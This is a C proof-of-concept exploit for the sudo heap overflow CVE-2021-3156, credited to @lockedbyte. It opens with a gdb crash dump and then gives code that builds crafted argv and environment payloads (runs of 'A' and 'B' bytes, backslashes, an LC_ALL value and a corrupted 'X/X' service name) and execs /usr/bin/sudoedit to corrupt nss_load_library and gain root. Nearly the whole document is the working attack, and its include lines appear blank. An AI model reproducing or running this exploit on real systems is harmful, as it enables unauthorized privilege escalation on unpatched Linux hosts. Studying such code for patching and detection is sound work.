/* CVE-2021-3156 PoC -- just an implementation of method #2 via nss_load_library() ni->name corruption -- PoC by @lockedbyte Program received signal SIGSEGV, Segmentation fault. 0x00007ffff7e9f4ee in nss_load_library (ni=ni@entry=0x555555582900) at nsswitch.c:344 344 nsswitch.c: No such file or directory. (gdb) rax 0x0 0 rbx 0x42424242424242 18650200809816642 rcx 0x55555557f010 93824992407568 rdx 0x0 0 rsi 0x0 0 rdi 0x555555582900 93824992422144 rbp 0x7fffffffe150 0x7fffffffe150 rsp 0x7fffffffe100 0x7fffffffe100 r8 0x55555558d620 93824992466464 r9 0x7fffffffe000 140737488347136 r10 0xffffffff 4294967295 r11 0x0 0 r12 0x555555582900 93824992422144 r13 0x7fffffffe168 140737488347496 r14 0x555555582928 93824992422184 r15 0x55555558d620 93824992466464 rip 0x7ffff7e9f4ee 0x7ffff7e9f4ee eflags 0x10246 [ PF ZF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 k0 0x0 0 k1 0x0 0 k2 0x0 0 k3 0x0 0 k4 0x0 0 k5 0x0 0 k6 0x0 0 k7 0x0 0 (gdb) => 0x7ffff7e9f4ee : cmpq $0x0,0x8(%rbx) Execute: ./exp.sh */ #define _GNU_SOURCE #include #include #include #include #define MAX_DAT 2048 #define MAX_LEN 1024 #define MAX_ENV 4096 #define u_dat_sz 112 #define e_dat_sz 208 #define null_sz 63 #define ENV_VAR_NAME "LC_ALL" #define ENV_VAR_VALUE "C.UTF-8@" #define BACKSLASH "\\" #define CORRUPTED_SRV "X/X" #define TRGT_PATH "/usr/bin/sudoedit" // "/usr/local/bin/sudoedit" int main(void) { int i = 0, x = 0, y = 0; char env_pay[MAX_LEN]; char c_env[MAX_DAT]; char ar_pay[MAX_LEN]; char *env[MAX_ENV]; memset(c_env, '\0', sizeof(c_env)); memset(ar_pay, '\0', sizeof(ar_pay)); memset(env_pay, '\0', sizeof(env_pay)); puts("[.] crafting payload..."); for(i = 0 ; i < u_dat_sz ; i++) ar_pay[i] = 0x41; ar_pay[i++] = 0x5c; ar_pay[i++] = '\0'; char *argv[] = { TRGT_PATH, "-s", ar_pay, 0 }; for(x = 0 ; x < e_dat_sz ; x++) env_pay[x] = 0x42; env_pay[x++] = '\0'; snprintf(c_env, sizeof(c_env), "%s=%s%s", ENV_VAR_NAME, ENV_VAR_VALUE, env_pay); for(y = 0 ; y < null_sz ; y++) env[y] = BACKSLASH; env[y++] = CORRUPTED_SRV; env[y++] = c_env; env[y++] = 0x00; puts("[.] triggering heap overflow..."); execve(TRGT_PATH, argv, env); return 0; }